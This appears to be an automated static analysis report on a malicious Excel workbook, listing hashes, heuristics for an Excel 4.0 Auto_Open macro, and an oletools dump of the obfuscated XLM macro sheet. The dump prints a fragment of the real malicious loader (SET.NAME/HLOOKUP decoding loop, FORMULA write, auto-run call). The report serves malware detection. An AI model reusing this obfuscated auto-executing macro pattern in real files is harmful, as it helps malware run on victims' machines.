Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8981eb400bd329a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:13 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 9664ae9a43681b4efca9b49a902676e9 SHA-1: 990aae8fb3ceca53b448bf9f95b4fcc3d44ab697 SHA-256: 8981eb400bd329a26e7970e51e9bc6f488c2c774791da27d648427110e109d19
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6641 bytes
SHA-256: 1eecafc7e3b90768b58e96ebc200ede35507f6877583e62d1b2d4c459f65f84a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ArkfOWxcRNC
' 0018     22 LABEL : Cell Value, String Constant - aElUAMo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A165 
' 0018     27 LABEL : Cell Value, String Constant - BfZLFxPLPJyK len=0 
' 0018     23 LABEL : Cell Value, String Constant - CZMdpiQS len=0 
' 0018     20 LABEL : Cell Value, String Constant - EkhSp len=0 
' 0018     27 LABEL : Cell Value, String Constant - esyAUWNjQrTs len=0 
' 0018     23 LABEL : Cell Value, String Constant - fmAqUKCa len=0 
' 0018     23 LABEL : Cell Value, String Constant - iOObVdFj len=0 
' 0018     22 LABEL : Cell Value, String Constant - jyiNVaJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - lsDGnEgoUqs len=0 
' 0018     23 LABEL : Cell Value, String Constant - OPAbycig len=0 
' 0018     25 LABEL : Cell Value, String Constant - pcrCkDhoXQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - PGVmBD len=0 
' 0018     26 LABEL : Cell Value, String Constant - pIJNtwWygyt len=0 
' 0018     20 LABEL : Cell Value, String Constant - pwrXg len=0 
' 0018     23 LABEL : Cell Value, String Constant - vvCbSOdr len=0 
' 0018     25 LABEL : Cell Value, String Constant - wvGwDJDMmN len=0 
' 0018     26 LABEL : Cell Value, String Constant - xrAkyadmrRg len=0 
' 0018     25 LABEL : Cell Value, String Constant - XvrLIZArwl len=0 
' 0018     25 LABEL : Cell Value, String Constant - XZkaYuTYIf len=0 
' 0018     22 LABEL : Cell Value, String Constant - YKetcWz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ArkfOWxcRNC,A63,"SET.NAME("vvCbSOdr",VALUE("0"))",""
'  ArkfOWxcRNC,A68,"SET.NAME("PGVmBD",vvCbSOdr)",""
'  ArkfOWxcRNC,A71,"SET.NAME("EkhSp",vvCbSOdr)",""
'  ArkfOWxcRNC,A75,"SET.NAME("jyiNVaJ",COUNTA(pwrXg))",""
'  ArkfOWxcRNC,A80,"SET.NAME("wvGwDJDMmN",COUNTA(OPAbycig))",""
'  ArkfOWxcRNC,A84,[],""
'  ArkfOWxcRNC,A89,"SET.NAME("fmAqUKCa","")",""
'  ArkfOWxcRNC,A92,"PGVmBD",""
'  ArkfOWxcRNC,A97,"SET.NAME("aElUAMo",HLOOKUP("*",pwrXg,PGVmBD,FALSE))",""
'  ArkfOWxcRNC,A101,"YKetcWz",""
'  ArkfOWxcRNC,A106,"SET.NAME("XvrLIZArwl",vvCbSOdr)",""
'  ArkfOWxcRNC,A111,[],""
'  ArkfOWxcRNC,A114,"XvrLIZArwl",""
'  ArkfOWxcRNC,A119,"iOObVdFj",""
'  ArkfOWxcRNC,A123,"pIJNtwWygyt",""
'  ArkfOWxcRNC,A125,"pcrCkDhoXQ",""
'  ArkfOWxcRNC,A128,"SET.NAME("esyAUWNjQrTs",VALUE(HLOOKUP("*",OPAbycig,pcrCkDhoXQ,FALSE)))",""
'  ArkfOWxcRNC,A133,"lsDGnEgoUqs",""
'  ArkfOWxcRNC,A136,"fmAqUKCa",""
'  ArkfOWxcRNC,A138,"EkhSp",""
'  ArkfOWxcRNC,A141,NEXT(),""
'  ArkfOWxcRNC,A144,"XZkaYuTYIf",""
'  ArkfOWxcRNC,A149,"SET.NAME("f",INT(T(FORMULA(T(fmAqUKCa)&"",""&T(XZkaYuTYIf)))))",""
'  ArkfOWxcRNC,A152,"BfZLFxPLPJyK",""
'  ArkfOWxcRNC,A155,NEXT(),""
'  ArkfOWxcRNC,A160,RETURN(),""
'  ArkfOWxcRNC,A191,"SET.NAME("CZMdpiQS",A63)",""
'  ArkfOWxcRNC,A195,"pwrXg",""
'  ArkfOWxcRNC,A197,"SET.NAME("OPAbycig",R56C14)",""
'  ArkfOWxcRNC,A199,"SET.NAME("BfZLFxPLPJyK",209)",""
'  ArkfOWxcRNC,A204,"SET.NAME("xrAkyadmrRg",1)",""
'  ArkfOWxcRNC,A208,CZMdpiQS(),""
'  ArkfOWxcRNC,A209,HALT(),""

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